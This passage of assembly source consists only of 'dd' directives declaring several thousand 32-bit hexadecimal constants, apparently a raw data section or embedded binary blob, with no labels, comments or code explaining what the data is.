dd 24DD2620h, 4490D474h, 17CF8B69h, 911A177h, 7451AE0Ch
dd 2C58A910h, 8520910h, 12441D82h, 0E0C1E61h, 80201E70h
dd 3D3A9A91h, 0DF40A112h, 0FCF64C01h, 9842F4C9h, 1F830064h
dd 94B0A791h, 96F22103h, 0C3828ACBh, 94200925h, 0D489018Bh
dd 0D9137CC1h, 0EC798AC2h, 4895A0F5h, 0B2E900B8h, 37D6BDCAh
dd 0DE9C2C70h, 0E69F3C87h, 5F0D8EEEh, 8276D160h, 60C085A3h
dd 2140AA9Dh, 97BA0035h, 6A2F0BD3h, 2CB032E5h, 0A2FB1820h
dd 0B47464E8h, 0AB01861Ch, 0F912F83Ah, 0C8C1C835h, 0B4520713h
dd 0C303C128h, 0F1FF8020h, 0C713F062h, 247C2984h, 6C9E9558h
dd 6501C000h, 3FF192Bh, 7743EA9Ch, 20E79AE5h, 60BB450Ch
dd 3B63DCE4h, 0AAD19698h, 1800D013h, 6195FC12h, 8718C823h
dd 0F328B829h, 6EF4092Dh, 0FCC07701h, 0A20464E8h, 0AC591BA3h
dd 62825480h, 61E09652h, 9C7894h, 9204F501h, 83D700C8h
dd 12E1C6C5h, 1092ADA8h, 0D000F459h, 80FE00C4h, 0ADAAED98h
dd 4CAE020Ah, 9E88E93Fh, 1317DCF8h, 2841A909h, 0A3FC8235h
dd 0B4249C05h, 4A1760BEh, 0BEF7F0D0h, 4CA0824Ch, 555F2F95h
dd 4CACC756h, 4B9387Ch, 500292B7h, 61DAB891h, 0FABCC60h
dd 1BC7BE9h, 0B1711204h, 3C8FD690h, 0C5A360E4h, 48B0E2E0h
dd 0A4BB27E0h, 0E8ADF8CCh, 0DA10D058h, 84932520h, 0FC81F6ECh
dd 0AC39FD97h, 3E2C075Ah, 2C2089A8h, 0FFFD780Ch, 2E78034Ch
dd 69635C46h, 83200323h, 12EF5FEh, 2BE381h, 1A7AA6Ch, 3293E2B5h
dd 43A8EE8Eh, 0E09D8298h, 98DEB1C4h, 1058140Dh, 645738DDh
dd 1F0DA7C3h, 64331318h, 952E0F58h, 185D2086h, 801A10Bh
dd 0D8E41Fh, 955BE926h, 0FA32B015h, 8F698307h, 20A46694h
dd 24528E0h, 8BE96FC6h, 884A8AAh, 12FBAC92h, 681C2604h
dd 0F4CB49C1h, 0DAD182AAh, 44C03075h, 35542E0Dh, 95BF00F0h
dd 0BDB31203h, 0E9A8E00h, 43F1ECB0h, 163E01E9h, 1AEBBF2Eh
dd 587112h, 86AA8208h, 789C32F3h, 1088C430h, 140899Fh
dd 0CCDBAAF3h, 0F07B9B4Dh, 0EC5B9C91h, 4132AC03h, 546BC2ABh
dd 0CC95939Ch, 260021B8h, 8FBAFAF1h, 0A839D001h, 9764F8A0h
dd 4CC14013h, 80F022E4h, 4131743Ah, 10CF6947h, 74AC70C4h
dd 2EC8615Ch, 399ECC34h, 1127A02h, 10DB0266h, 973EC0C8h
dd 2240B067h, 0D0201D1h, 54E8AA02h, 0B051EDBAh, 3C600980h
dd 0E682C54Ch, 0E22B8090h, 3864A41h, 37741A30h, 1065B6C7h
dd 9381EB1Ch, 9931CEC2h, 0CCA0803Bh, 1FEF069Dh, 0C08F669Bh
dd 0B329FAA4h, 982041DBh, 14A2278Dh, 3CA0D08Eh, 0EB12F7BCh
dd 48377F40h, 0E606BC99h, 68F86441h, 0B112EE09h, 68BCEA77h
dd 9AE17B24h, 62ED20F0h, 3E04F197h, 1A19B43Eh, 314C10A9h
dd 20082E08h, 0B7A00797h, 16040CDh, 3C3C8743h, 7C54CD3h
dd 2442EF9Eh, 0F1156CC2h, 6081254Ch, 3CA14D94h, 3C978144h
dd 162B5541h, 93C89814h, 0FC038217h, 2480B4D1h, 0FBE6F420h
dd 8008021h, 0B15EA03Eh, 0F38A00D0h, 40A9DC15h, 0DF71F04h
dd 0E4AC4C9Ah, 0ED2A3D02h, 9D00225Ah, 1FC7B450h, 401B90ABh
dd 0CEEECC05h, 6B4E422Bh, 994A3C8Ah, 1B8051ACh, 0CF98507Ah
dd 409AA093h, 33D5D120h, 0EC40A8F1h, 89FC3CF0h, 9F2FD717h
dd 0A81BF424h, 67BCD198h, 69E420h, 2955727Dh, 12F33A21h
dd 80D77CEAh, 900090D9h, 79F0573h, 391AE4A0h, 0D8DCDB01h
dd 66278185h, 6138F442h, 4498897Bh, 165B4230h, 0F4036E65h
dd 29739C5h, 821FD422h, 0B4FB4D3Bh, 505CBB94h, 820015A0h
dd 615632FDh, 96BF1288h, 0E4022F38h, 0F4661199h, 5B126C13h
dd 483138A0h, 2E047CBBh, 0C7D3929Ah, 95C8A130h, 52C63006h
dd 2A8D94BCh, 443D0F4h, 0B3B12610h, 22093CF4h, 5840E9C0h
dd 0B07502EEh, 0A75B6602h, 60F0504Eh, 3E70A478h, 8403C120h
dd 542B9EDBh, 12E4FFE0h, 0F4820B26h, 41090848h, 9D38581Dh
dd 90971D50h, 0F445A2D0h, 748B4827h, 5248E45Ch, 50B0E425h
dd 6B4EB9A0h, 4B818081h, 70206A01h, 53E0208h, 50081294h
dd 341370F3h, 20F0CC63h, 9410C4B8h, 0B84A9B83h, 0CCB304ACh
dd 0AB20D8BBh, 0F200F004h, 97E69D38h, 0C9EFACAAh, 0B8096411h
dd 29B3C60h, 2C30C317h, 1C95F894h, 0C8406884h, 96F63F69h
dd 91623502h, 81829E0h, 6B30133Ch, 8B82187Ah, 6180A04Eh
dd 5010953Dh, 2154B501h, 0C709EDFCh, 20663EA2h, 0DC178F88h
dd 37990F3Ch, 50C41D7h, 0D4B6A018h, 5008A219h, 0B610802Ch
dd 0ED990414h, 70D0E212h, 588F94Ch, 0A2AA26C5h, 5B8C343h
dd 44CE292Eh, 0F8E6631Eh, 8212ACA0h, 0A08839DCh, 2D841611h
dd 871804F1h, 2C20A1BAh, 3CE8489Ch, 10384068h, 132BF741h
dd 0BA01DDD4h, 0F588133Eh, 8C698981h, 2EAA32C1h, 0FFBA1400h
dd 26070B7Dh, 28C32983h, 0EC662EB0h, 5B641008h, 8501C803h
dd 9420128Bh, 42F4E5EEh, 945CA900h, 0D5A8E225h, 4566409h
dd 5F828E85h, 0B895h, 73F9498Ch, 96343041h, 9E25D3C8h
dd 132B3A04h, 180D7683h, 0C0782130h, 3800C581h, 0E3ABB21Bh
dd 445945h, 6588686Dh, 361623EAh, 369BB3Ch, 0FF31C3BCh
dd 5CF898A0h, 281C252Ch, 0C0D90089h, 44A5461Eh, 0B626286Ch
dd 0D4970098h, 2D3647A0h, 80BA5F13h, 749CB89Ah, 0B9966578h
dd 0E6920CF4h, 91091C48h, 8933CBB3h, 15904694h, 0A0A1E282h
dd 3A456539h, 16412842h, 689A02F3h, 0A03B18F1h, 189A954Bh
dd 4FB0A408h, 412668F8h, 0A8920B28h, 6C8878BEh, 20C39CFFh
dd 9CAA98A0h, 2642B53h, 0EACD01A9h, 1844743Ch, 7682D8B1h
dd 3D006CBCh, 25C68DFh, 61F00EAh, 8F8DC7ACh, 0F35B0120h
dd 5E68F881h, 0F240AC40h, 0E6F634AAh, 1204E9A1h, 9C54033Eh
dd 0A1EB138Ch, 6451D0E3h, 1324282Eh, 108F5531h, 0EFDC8314h
dd 903E5F88h, 5734D67Ch, 6B04AD00h, 369AE7CDh, 3F260018h
dd 8241C1F3h, 0E1D0354Ch, 0B2EF1CC0h, 583EA4EBh, 74944F14h
dd 942114D9h, 0F85F04C2h, 0F1DF10A0h, 75D39600h, 1333C586h
dd 2F84820h, 0B0F7400Fh, 7856068Dh, 25A894ADh, 6090A7ABh
dd 18C04E3Eh, 8E921726h, 0CA6B3844h, 0B85C51D8h, 6CD7D31Fh
dd 0A09593D0h, 0F15EBDC0h, 0B02CBC13h, 72BE2FCFh, 0B8C1E829h
dd 992830F7h, 0D0B67CB8h, 3E27102Ah, 2B7CE84Bh, 846803A7h
dd 0EBD90119h, 25E4A9C4h, 3BA0872Eh, 74AA8082h, 31606498h
dd 0D8680BE9h, 37C50D1h, 9777296Eh, 43F2251Ah, 64F10881h
dd 0DE484286h, 0DB40277h, 0D8E86284h, 5B821A84h, 0E091FFh
dd 0DF2E2C8Ah, 14AF1479h, 1D281044h, 6F820A65h, 4C25A4EBh
dd 8480B9E4h, 0EC143682h, 46218584h, 0B4C068C6h, 0E047E97Ch
dd 9C80EC87h, 0C1019591h, 8E10B07Ch, 0C02F0461h, 98F80708h
dd 28B85E89h, 85413541h, 7830805Dh, 0E5A01E7Eh, 3A0185FDh
dd 89509006h, 0D74F029Dh, 40C0F8C0h, 0A061D8D0h, 86BF4C3Eh
dd 2011A4E8h, 0ED00F521h, 0CF6F37A1h, 1C79EC2h, 0DB6C085Ah
dd 26EA9475h, 71345024h, 31DAA700h, 8908D8B7h, 382AFC1Fh
dd 148090ABh, 0A08A2BE9h, 9A00E2EAh, 78DDD50Ch, 193499B0h
dd 0C88D6482h, 186433E7h, 5603BAAh, 38F3C1Ah, 0B69F820Ch
dd 3548C620h
dd 0FC132888h, 8195AC9Ah, 0A3B101E8h, 98CC583Ah, 0C50EEFABh
dd 8FE69815h, 0EED1833Bh, 2642A065h, 0FF903D4Ch, 1BEC7602h
dd 74C05532h, 0E70BBFB8h, 20C17E82h, 0E95A944h, 94C4000Dh
dd 0D3146A9Ah, 41FEF885h, 0D1B76703h, 0C23B1AACh, 9A088229h
dd 8114AF12h, 8E0B9E2Bh, 24D8A13Bh, 9C4C1F54h, 250182F8h
dd 85B304A5h, 2B488C74h, 3293D425h, 7B3CE44Ch, 8E011987h
dd 5A4F9E8h, 0A9BDB4A4h, 0EC216684h, 9430B008h, 2956190h
dd 92A42401h, 0CC7D823Ah, 7EEEC584h, 3230CC31h, 0CD6BDB01h
dd 149447C9h, 0ECF3139Dh, 0FDF4844Fh, 0E8BB1090h, 94013401h
dd 8D98E912h, 7881A751h, 925869h, 7DD0D488h, 0AB00386Bh
dd 5FF91AD7h, 19740176h, 0C06735A0h, 0B56188EBh, 71390966h
dd 6E424C10h, 0BA5128BEh, 0EEA1C02Ch, 0CA7B0070h, 0A2610E60h
dd 0EAC1994Ch, 0E0FF21C2h, 1B0140AAh, 171C3B9Ah, 90683313h
dd 0BE0C224h, 38503427h, 0CC0197E8h, 8266B6F2h, 0D0009CA2h
dd 2D4F5F0Ch, 5C4200DDh, 505C595Eh, 0BD691F12h, 6811DD20h
dd 403CC909h, 3A12F3B8h, 67B08054h, 371320B0h, 8C841141h
dd 0F98B28ADh, 8299B8C0h, 30298924h, 9C41DD84h, 344F5CB8h
dd 9490908Ch, 41C4B68Dh, 0E0122E0Dh, 0F94FD258h, 74A25475h
dd 0EA7C4192h, 814F3612h, 1F41AA18h, 27D0E13Eh, 3492B59Fh
dd 0E087E4ABh, 364167A3h, 4962204Ah, 40243E98h, 19A33ABh
dd 0E6AE3F35h, 2037C1C9h, 0E241EDACh, 0B4F42EF8h, 29A21268h
dd 0A18D4048h, 0CD0BB3EAh, 0A1A28360h, 42C013BCh, 2401E470h
dd 174C80DBh, 1158CCBDh, 9B120B00h, 0FB82A16Ah, 22D0BA9Fh
dd 48C0A64Ch, 50D9D384h, 3FA098F5h, 0D8068DBCh, 308CB682h
dd 70C8B14Eh, 0FD57083Eh, 9183E86Ah, 0C485E582h, 4E3C88D8h
dd 0BDB89861h, 50C0D600h, 0DDAB35CBh, 0D2090120h, 0A66FDB78h
dd 0D194E701h, 0D0D394A0h, 3C0F1AADh, 85412E6Dh, 8830674Dh
dd 0B1D182h, 5B9E94CDh, 417E1110h, 2803D65Fh, 0EDBC12EFh
dd 40048094h, 68ED355Fh, 0E06C8496h, 0D74B0184h, 87695CC1h
dd 0C8D35D0h, 54C312BBh, 0E8C44C40h, 0FC005FB2h, 0FB90F8D4h
dd 4A2841E8h, 4200F00Ch, 6727E969h, 0FA16DEh, 5C50109Ah
dd 6501DAB9h, 5A442A49h, 19704B0h, 0D646E7D3h, 3F9912FAh
dd 34C10406h, 0D1A80338h, 3FEAB9F8h, 0CEFDF9A0h, 2B0124F0h
dd 0B7990308h, 1771EB09h, 4127E432h, 0E440346Ah, 180AF0ACh
dd 88316AC2h, 56E0AD1Ch, 0D848C86Dh, 9602D380h, 6E4E2E82h
dd 4CA64D8h, 213C89DBh, 2CACD947h, 35930B50h, 52E832DEh
dd 376924D4h, 0A79692CCh, 17F057B0h, 50824984h, 86C7C36h
dd 0E86046AAh, 278274D8h, 181032D6h, 0F89D6801h, 85A091B4h
dd 0D4316D1Ah, 8FB80CDCh, 6C38DA20h, 6332001Bh, 7B29B835h
dd 30126E5h, 8068800Ch, 593BDD90h, 5080444Bh, 7235C22Ah
dd 32AE02F4h, 9502995Dh, 8E141856h, 37F855F4h, 5E404820h
dd 14941481h, 960B7863h, 4464EA9Ch, 0B8CFA02Dh, 0BA5801B4h
dd 88690020h, 53DEC02Ah, 181D03AAh, 0F9C03E95h, 219A9C92h
dd 411890F2h, 2F685942h, 2270940Fh, 54600138h, 2A6E0014h
dd 9AA57CD1h, 0C942390Fh, 46A9217Dh, 0E430AB21h, 1767FE0h
dd 38A169E6h, 4245FA41h, 70D6FFC0h, 0D0C4820Bh, 5CA04B9Ch
dd 802C595Ch, 2CD22F69h, 909F00C4h, 32262D21h, 0C513A093h
dd 10423485h, 9A7C613h, 0CA88940Fh, 69269904h, 8601F091h
dd 93005838h, 5E037DEFh, 9903F78Ch, 0A412F8E0h, 134025CAh
dd 8469C0A0h, 500F384Bh, 0ACF2B04h, 9D05085Ch, 84B00F02h
dd 5D90C495h, 255892FFh, 3FEBA482h, 49A07909h, 0ECD088E0h
dd 0AAC00613h, 4A89CA0h, 8A4F1507h, 0E9248326h, 0A6E887E0h
dd 699AB400h, 1F550D5Ah, 0F33B0721h, 0C093D532h, 44ED380Eh
dd 0DDEBDE06h, 2081D81h, 416D465Bh, 0C0DC6066h, 5050CC27h
dd 41068887h, 95E020A1h, 98340309h, 0F858E0B2h, 44C0B456h
dd 0F34CF09Ch, 24839A28h, 22205C90h, 0B3352440h, 5D813930h
dd 0DBED1D3Bh, 2D806013h, 5F23Fh, 9C49AE21h, 145C554Ah
dd 9047DF12h, 8219C205h, 9CFCB094h, 1E482213h, 0C6CF2022h
dd 0D828B5A0h, 20980CA8h, 220A9708h, 14269A2Dh, 183391Eh
dd 0EB82763Bh, 0A47D8A1h, 8C5748F4h, 0A05D380Fh, 0B701D8E0h
dd 74822BB3h, 0C4DA62DCh, 7D02C008h, 0FAD79AD0h, 0D008838Ch
dd 9DE1C11h, 0ED01C990h, 0E11E28F0h, 0A012A35Bh, 0D8F00C56h
dd 0A18F0337h, 6413226h, 114B2FCh, 0AA3D7161h, 88225C60h
dd 18F4D610h, 0DCF1239Fh, 0BEFCF941h, 0BC4494E9h, 0B9A0B10h
dd 18967194h, 37029BB8h, 40D8EE90h, 696B0E5Ah, 383F8600h
dd 0F31326DEh, 42F09241h, 9C614E27h, 0AA0255E7h, 0F88898D4h
dd 9CF601CFh, 7D2C6202h, 941E4A90h, 1A10426Dh, 854C7CDCh
dd 0F8440295h, 5CE91680h, 4B762102h, 0BEACC040h, 0FC1A81C8h
dd 2EBF7401h, 0A0AAAF78h, 873C4A82h, 962AEABAh, 0CAB30978h
dd 50E40854h, 4B17F4BCh, 133CD04Dh, 0C8B9547Fh, 0DA434942h
dd 8192E688h, 4F8220Fh, 69A07261h, 0B6F8E080h, 0A84A4CEDh
dd 0D0459C16h, 41D936D8h, 47DE4727h, 8CAB1384h, 47407750h
dd 2661793Eh, 0BF84AAFh, 0BC61900Ah, 2838602Dh, 0D8688741h
dd 0C089A4CFh, 0F8046058h, 2B229471h, 4C7328A3h, 0FFC8FC43h
dd 70CB820Bh, 0E2FB0450h, 8D333CC0h, 180F6B38h, 214A6699h
dd 19900908h, 94E117EBh, 32A04238h, 860E405Bh, 92B02EEDh
dd 0B2180A7h, 3E989C18h, 0D00997ADh, 3BF064F0h, 0F85CE8BAh
dd 0F0CD07BFh, 62D0327Ch, 0F8356940h, 710B8CAh, 4778135Ah
dd 0F243A0CEh, 0B85A6485h, 3B0E7CF8h, 0BC8F02EAh, 289D5101h
dd 0D3DE038h, 8823D806h, 128ED78h, 0A28B929Bh, 0D3C27C98h
dd 8818307Ch, 6420D790h, 0F511C32h, 312C076h, 20029839h
dd 0AC07A7B8h, 53D7F36Ch, 14EB893h, 0E14F4720h, 85D8F720h
dd 0C17CBC40h, 77012C43h, 0EEFCE006h, 0DA1F0003h, 0E3C1D6BFh
dd 1F811CAh, 0B7F48100h, 2D5CD929h, 0EA0AC346h, 87E6FEh
dd 26C28242h, 430C741Fh, 1348307h, 0D8C6710h, 0B5691825h
dd 158A1246h, 5B0D55F0h, 1405C382h, 6FBEEAF0h, 0EB600A97h
dd 1DB65778h, 26FB0234h, 0BFC1081Eh, 40457BE0h, 1F43EDF1h
dd 0B925A88Ah, 0AA7F0028h, 9E9C241h, 0C9E25826h, 0D1F86300h
dd 0EE4B922Eh, 8FEA1875h, 19893891h, 251D8C1Eh, 0B322A68Ch
dd 677BEE54h, 0E3D25B16h, 0E3E938Ch, 6325BF5Dh, 1F03BB0Ch
dd 0CD4027Fh, 850E7E66h, 199DC93Ch, 0E91FA7B6h, 312535C0h
dd 8A6A2D8Ch, 0E880363h, 0F12E5D7Ah, 52327AA3h, 3A1C9F9h
dd 90D4B15Fh, 835E0C94h, 0DE7EEF00h, 43DBF87Fh, 0EBC24B0Fh
dd 0E5F3A004h, 280C5B84h, 42ACD602h, 748831EEh, 8808A5Dh
dd 76DB6953h, 95D94D2Bh, 5108C52Eh, 21DAB930h, 0B74039EAh
dd 2009559h, 712706D9h, 2A457FE9h, 72D88949h, 0ED2463F4h
dd 3CF15CDBh, 54108043h, 4B036EBCh, 0F136F62Fh, 8253168Ch
dd 1739ED8Eh, 696005E2h, 0B85457CFh, 54BA0017h, 82330A5Ch
dd 6C150EEAh, 0CAA70679h, 0F7030EFFh, 77D72DD9h, 0E6724DC1h
dd 8C55D8A2h, 0B57C0643h, 32FA4833h, 0BBFC0256h, 8C57DA12h
dd 7D134242h, 7967E3B0h, 0A9097B28h, 44118575h, 0C6038A41h
dd 60BF7D84h, 1F310C05h, 0F9C08689h, 125B0A5Eh, 10EC2A0Eh
dd 0F07E0850h, 26131F67h
dd 5092A84Dh, 905F08C4h, 0C7538806h, 406980E5h, 0A8203F38h
dd 0AC79AC5Ch, 0C2C7F30h, 60D06886h, 1C234866h, 8A06E70Fh
dd 0EB69EAE0h, 2959753Eh, 92A42D6Bh, 0EABF4255h, 53059032h
dd 0F508A30Ch, 10B201D0h, 0E8C22C7Ah, 0E5C8E406h, 810095FCh
dd 2A60FF8Ah, 0A2885FF3h, 1A7F8298h, 0CB220348h, 8BE089BCh
dd 38A5867h, 7BF8BC23h, 0D4EDF590h, 3B9806BDh, 0C88416E0h
dd 3D88051Fh, 0A66923F0h, 8FE49172h, 4CE3BB53h, 0D1C87617h
dd 0E3ABD7EAh, 21BAD712h, 0E4CFBD27h, 2E001FB1h, 138933FFh
dd 4F042BEAh, 0D92A3E58h, 9575E881h, 597B4C05h, 0BE2856ADh
dd 0F0292605h, 0F0314F5Eh, 7A83DFE0h, 4148905Ah, 0AD8DB6CFh
dd 0C43FC972h, 5EF65059h, 4ABA3619h, 229B5234h, 0B4C16C34h
dd 6109327h, 0AA737732h, 0A03DF392h, 0CC820532h, 0C059521Ah
dd 3DAC4F7h, 0C1DCA31h, 66E00C73h, 78DF4802h, 151C7210h
dd 36AF0590h, 49E351E3h, 30702E5Ah, 19248234h, 0A390714Bh
dd 3C65F131h, 0F2F84A42h, 0BAE20F7Dh, 92CD5133h, 0E7E0C346h
dd 290F49B9h, 0A6DFF81Ch, 16A72E61h, 1E3257F0h, 0EEABCCC6h
dd 54EC5E30h, 0D48FCA4h, 0A1BC986Eh, 429B067Bh, 448553EAh
dd 0C8BD5B51h, 4C48B263h, 8D022AA9h, 6120D680h, 49D10A82h
dd 0F093D229h, 2A3D6C32h, 0B854014Dh, 6284EAE5h, 16F26822h
dd 12898C14h, 0BB425556h, 98E18A51h, 0A2C184C7h, 3FA522FAh
dd 202E46A0h, 0B0C1694Ah, 274F6410h, 0A67521ECh, 206937BFh
dd 1E63D327h, 6B53150h, 905E3740h, 13B9016Ah, 0D80A730Fh
dd 1DDA815Bh, 50061E5Fh, 31EAC024h, 0A329838h, 8067DDC1h
dd 50A569A5h, 0B05E430Eh, 70C8D228h, 26ACEA60h, 5AD0B9C4h
dd 0E4445C4h, 310184B9h, 0E45967E2h, 0D6A0E8DDh, 9AEE8605h
dd 31CC2854h, 0B710C418h, 0C10F067Eh, 81C05817h, 2A27D414h
dd 8C60FB0Ah, 9168413Dh, 0B14DD100h, 73E92A1Ah, 0A206F05Eh
dd 0EA4CA10Ah, 30973B90h, 0C0200632h, 0BA280E3Eh, 8E2C5703h
dd 0CF4A4758h, 0E90D4565h, 401D4959h, 87C8060Ch, 0A30FEA04h
dd 9385B105h, 0D1A04C23h, 0C6F83805h, 0BE815939h, 3EF03C0Ah
dd 0EA1574E9h, 24857319h, 4E0E9552h, 4E0156F5h, 353594Dh
dd 18047F70h, 0C5F121Ch, 6F304797h, 6A2AC431h, 2363E7Ah
dd 0D8BB2E60h, 0D8B0F28Eh, 0FC202FB0h, 0C7ECA038h, 85BAB12Eh
dd 0D90ABD69h, 0C6880C71h, 412EEA18h, 90345A0Eh, 6326C84h
dd 672E5D0Dh, 7D8A4686h, 722AF7DDh, 78DD22FAh, 51038310h
dd 59636956h, 0BFB06B40h, 832EDF01h, 23EA4762h, 0BA638335h
dd 0CF086480h, 0ACE12E19h, 617BF03h, 3FC5BA1Ch, 0EBD0C771h
dd 10665896h, 41C30222h, 4BD93108h, 83DE65CBh, 0F0192F8Dh
dd 320562BDh, 0D07EEAC9h, 0A410671Dh, 9CF24AD8h, 0C3FFA849h
dd 5F6E0514h, 46936979h, 723D8AB5h, 2F3793A0h, 823B4907h
dd 0D2F29BC7h, 65796946h, 0E4D10FCBh, 0CF255605h, 84CF5091h
dd 0E7A02C7Fh, 4A548ADCh, 26056F8Bh, 0DA68D835h, 5E02331Eh
dd 641BB432h, 3C20654h, 553AB0A2h, 0EA12D4B2h, 39132E5h
dd 77C26h, 679E1D78h, 15D35A18h, 0AADC8FEBh, 30DC0CBCh
dd 98EE9295h, 0F11D1888h, 0ED8D166Fh, 0D6C70280h, 5C18042Dh
dd 3C1D4F2Ah, 710FE4D2h, 26B0640Fh, 300D0B0Dh, 3792335Ah
dd 0E38A5312h, 0D684E08Ch, 0F514370Ch, 0C2C5E2Dh, 0E81164EDh
dd 49CF62C3h, 70D39709h, 0BB1A2496h, 9009696Eh, 0EAC2F110h
dd 9869080Ah, 0ACA82916h, 5B7EE809h, 8B0E9B06h, 775E0E57h
dd 0F8C6A11Ch, 2D002AD2h, 670BB6Ch, 1F637B4Dh, 0C2603613h
dd 0C232D1F9h, 54801A51h, 0FF0F2EBCh, 15FB01Ch, 43C73C02h
dd 52AFEAh, 74B16967h, 0E9EFAB6Bh, 0AE47DBCDh, 24694BDCh
dd 64A75EB4h, 4E1E8255h, 300E5706h, 68F73F02h, 0AE6096Dh
dd 255CD648h, 0E9A52E45h, 8ADC23C2h, 92C392E9h, 2E275254h
dd 606D1CF1h, 0E68A565Ah, 8191AAB0h, 8774BBBh, 808AF3A0h
dd 1E76FFh, 5A5287CBh, 48DEEA17h, 900D4799h, 0C1EF8F65h
dd 0A3C4F682h, 8A0816B8h, 0D2432CF0h, 0BDC2E83Eh, 940BF506h
dd 841B5775h, 0C11B2F89h, 9E4F35C1h, 8462C49Bh, 0A68D9406h
dd 965A4B0h, 0EE11AC10h, 5B75716h, 17FC1375h, 66A62206h
dd 69154C58h, 5CC2100Fh, 4B8D1841h, 7F3AEBA7h, 0D58524D1h
dd 12699D8Bh, 2530356Eh, 0BEDF47C7h, 0C27A0113h, 0D06A71E2h
dd 0CD7C3E45h, 0F2EA5209h, 0C782265Dh, 0AA52082h, 0F902F590h
dd 0F8134B09h, 80B480D3h, 0F06E432Dh, 9DC2A0DBh, 0F1A0B0Dh
dd 0A80D78Ah, 0AC37D6CFh, 80415D51h, 48A6BC8Eh, 0B84C5E9Fh
dd 0AE3140FEh, 5213A2B0h, 6501E28Ah, 7FE67EA0h, 79825F30h
dd 297124EFh, 747A3CA5h, 5919CFD4h, 2DA0EC1h, 608E75F2h
dd 6282461Fh, 91CCEA1Eh, 0C315467h, 84EDD61Ch, 9B2AEA13h
dd 3E52F68Ch, 281A5A55h, 39C1194Ah, 1FE7526h, 3324A3BBh
dd 69376169h, 9A2379D1h, 0CAE74C73h, 0BA316869h, 2479EE9Fh
dd 2F2ABB02h, 12506163h, 0BB8546F6h, 0EA5402F5h, 32062F18h
dd 2E3448D6h, 0EADA4E92h, 261CD92Eh, 0A30B34BFh, 0C924596Ch
dd 0AD49609Ah, 0D2C3169h, 665DB617h, 0C46A588Eh, 8C1038A3h
dd 3CE4687Ch, 705351ABh, 48045F9h, 0B8395963h, 8B10F8D5h
dd 0D588299Dh, 0DAFC86A2h, 5C5AF161h, 83E05167h, 0EFC1800Ah
dd 0A13C0666h, 34E34B4Dh, 9BE5807Eh, 74603C76h, 0F80BB70Ch
dd 0E1EA1923h, 2C0A52F5h, 9709103Ch, 48F0D201h, 0A404E8C2h
dd 2200B45Fh, 813A9132h, 6DB60EF1h, 0E9C17016h, 200B62D0h
dd 5900CFBFh, 3D66C905h, 1FB82D11h, 416A3423h, 0EC3EE9F8h
dd 0D859C5FFh, 7AC33A02h, 0BC68525Dh, 2AC3F997h, 0BE0A2814h
dd 0C181000Ah, 32991A63h, 67612EE9h, 0E7895716h, 0C704C7F8h
dd 69EF8329h, 66E5A586h, 77C58007h, 0C1A71C2Ch, 306814CCh
dd 892E4BC7h, 543D2434h, 8DBD375Eh, 0B8A704A7h, 673940C0h
dd 0FCC0325h, 7DE918B7h, 0C10424D6h, 0D5F706EDh, 5568CA80h
dd 81F041h, 291EEBEFh, 50E7D163h, 18EDB802h, 63E9793Eh
dd 0BA3C0762h, 0C1061E23h, 895AD731h, 6B2DDBh, 78E9F98Dh
dd 682AC028h, 15B9112Bh, 7C1D5F7Dh, 585F0424h, 0AD70630Ch
dd 7D55F63Ch, 128F60E9h, 0B251B753h, 0FA307C0Fh, 5835A55Bh
dd 0C0970D01h, 62EC02EFh, 1E16DE10h, 0E3803DEBh, 0D3C38006h
dd 38C4D828h, 0BD0A54D6h, 4C464FAEh, 0FF0A0A73h, 958B3C77h
dd 6876806h, 0A71C518Fh, 1B11A171h, 0BC43D89Eh, 0E7FEB1ACh
dd 0EB290C80h, 788AC381h, 0EEC2BE63h, 0C471239h, 21340F24h
dd 52567283h, 96751FF9h, 8507BF1Eh, 0FDF0577Ah, 0FED815Fh
dd 0F53B8F1Eh, 9E5DE927h, 0B9F2CF62h, 20CE0F41h, 1C401634h
dd 0EE800058h, 0B151665Ah, 0CE7F2026h, 94F09430h, 67DBD55h
dd 0F7750619h, 0C83B5CDDh, 331BB68h, 4C3BE0E5h, 5F5E069h
dd 3E1F3071h, 2A4B410Ch, 52E9310Ch, 101683Fh, 665F05D8h
dd 0F451400Eh, 1AC79855h, 61F248Bh, 4C74D6A5h, 6112A4BDh
dd 45270C08h, 3C023674h, 79E9BF9Ch, 54B8AA29h, 60148B0Eh
dd 8104C483h, 37B1A6ECh, 0D85F0C4Ah, 7EB7A08h, 0A3E4C581h
dd 26D94291h, 29268195h, 0C3015AD0h, 89523180h, 0D7B0E9E2h
dd 565836DDh, 0A28B669Fh, 893710C7h, 0A464C42Ch, 0C3CD9248h
dd 9D7345A3h, 15F71703h, 130AA29h, 0C3DECC0Ch, 0F393E945h
dd 74EA2303h, 0B058C706h
dd 0E09E62F2h, 9DE910FDh, 0F7543E28h, 0E057031h, 9F95D5Ah
dd 7A49BA2h, 51C8AF0Fh, 69CBD39Ch, 31EF5900h, 2925F664h
dd 820F98D7h, 30A12F08h, 0E7C1B360h, 0C726E908h, 7DA84521h
dd 0BD756754h, 1152F909h, 5FB071Ch, 0C01DE535h, 767CF581h
dd 0C7E7D133h, 2458F670h, 0D9E919B7h, 0D85E4294h, 0CC9511Dh
dd 16690B9h, 18ACA2CEh, 2AE95645h, 7DCE6CDh, 0EAE012F2h
dd 0F4ACB301h, 61BF1603h, 756B06Dh, 151D0CE4h, 0CFE76039h
dd 8267F70h, 41AD44Fh, 0FE4848D6h, 206D1C40h, 0F38A98E9h
dd 0BEF003E2h, 905A5840h, 64231DD7h, 0C2814180h, 41DE0A4Ch
dd 53C63D6h, 3FFC0439h, 0D5C6ABF1h, 0EAC06631h, 0EF96AB47h
dd 895F0322h, 0C2315BDAh, 98832F20h, 3FB49050h, 0F2121EA8h
dd 600B015Eh, 20176769h, 0DA60ABFCh, 58C68942h, 120D012Dh
dd 0F0011126h, 5E074105h, 5C568C87h, 26686166h, 6E4B5D42h
dd 5551E362h, 362BD8E0h, 4B3DFB76h, 7D8C8981h, 41350286h
dd 3C8B020Ah, 4E8F5186h, 0BC20DBA4h, 205890F8h, 513E4DDAh
dd 0A0CAD50h, 7AEC95ABh, 808F07B7h, 0E983DEE7h, 29AABE82h
dd 4D208706h, 1650795Ch, 51F65951h, 7A53EC10h, 1006D524h
dd 0DA4C7F45h, 0B0533A8Bh, 120D696Ah, 0A1853687h, 0F0486CA9h
dd 1D9944F8h, 1918A9A6h, 0E5DE3A1h, 432B6032h, 6E15F3E1h
dd 739330BFh, 0DA5E7940h, 98809AF7h, 51209DBAh, 7D684C0Ch
dd 0A8F6996Ah, 16A3B5FFh, 0C1FF580h, 140CDAB6h, 59EB3016h
dd 7D032C0Eh, 0B0500680h, 39C8FEB3h, 91383B2Ch, 9958C315h
